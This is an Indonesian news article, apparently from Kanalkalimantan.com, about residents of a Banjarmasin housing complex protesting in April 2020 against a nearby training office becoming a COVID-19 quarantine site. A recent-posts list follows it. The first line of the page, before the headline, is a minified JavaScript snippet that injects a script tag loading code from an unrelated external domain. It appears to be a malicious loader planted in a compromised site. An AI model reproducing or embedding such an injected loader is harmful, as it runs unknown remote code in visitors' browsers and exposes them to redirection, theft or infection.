(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Warga Komplek Kayu Tangi II ‘Demo’ Tolak Balai Diklat jadi Tempat Karantina Covid-19


KANALKALIMANTAN.COM, BANJARMASIN – Puluhan warga Komplek Kayu Tangi II, Jalan Brigjen H. Hasan Basry Kelurahan Pangeran, Banjarmasin berkumpul pada Selasa (7/4/2020) malam. Mereka menolak rencana Kantor Balai Diklat Pemko Banjarmasin dijadikan pusat karantina untuk Covid-19 di Kota Banjarmasin.

Menurut warga setempat bernama Fauzi, masyarakat di kompleknya kaget begitu mendapatkan informasi kantor balai yang masuk di wilayah Komplek Kayu Tangi II dijadikan pusat karantina orang dalam pemantauan (ODP) maupun pasien dalam pengawasan (PDP). Fauzi menyebut, tidak ada sosialisasi dari Pemko Banjarmasin kepada masyarakat setempat.

“Justru ketua RT setempat bingung, masyarakat di sini yang mendatangi ketua RT. Gedung ini digunakan untuk apa,” kata Fauzi kepada awak media. Ia mengklaim, aksi ini merupakan bentuk keluhan masyarakat yang sifatnya spontanitas. Fauzi mengeluhkan, penggunaan gedung untuk karantina ini seolah-olah dirahasiakan. “Ketua RT tidak bisa memberikan jawaban apa-apa, sedangkan Banjarmasin Utara sudah zona merah,” ungkapnya.

Ia bersama rekan-rekannya pun sudah mengkonfirmasi kepada pihak kecamatan dan kelurahan. Sayang, Fauzi mengeluhkan, keduanya tidak memberikan jawaban yang memuaskan. “Kami bersama masyarakat setempat berinisiatif untuk memblokir wilayah ini. Mudah-mudahan menjadi perhatian Pemko Banjarmasin dan Gugus Tugas P3 Covid-19 Kota Banjarmasin,” ucap Fauzi.

Fauzi bersama warga di Komplek Kayu Tangi II secara tegas menolak penggunaan gedung yang masuk wilayah komplek perumahan ini tetap digunakan sebagai tempat karantina, baik untuk ODP maupun PDP. Terutama berada di kawasan pemukiman penduduk. “Berdasarkan peraturan yang kita ketahui, untuk tempat perawatan itu harus ada persetujuan warga sekitar. Sementara warga sekitar tidak menerima itu,” tandasnya. (Kanalkalimantan.com/fikri)

 

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

2 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

3 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

3 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

10 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

11 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.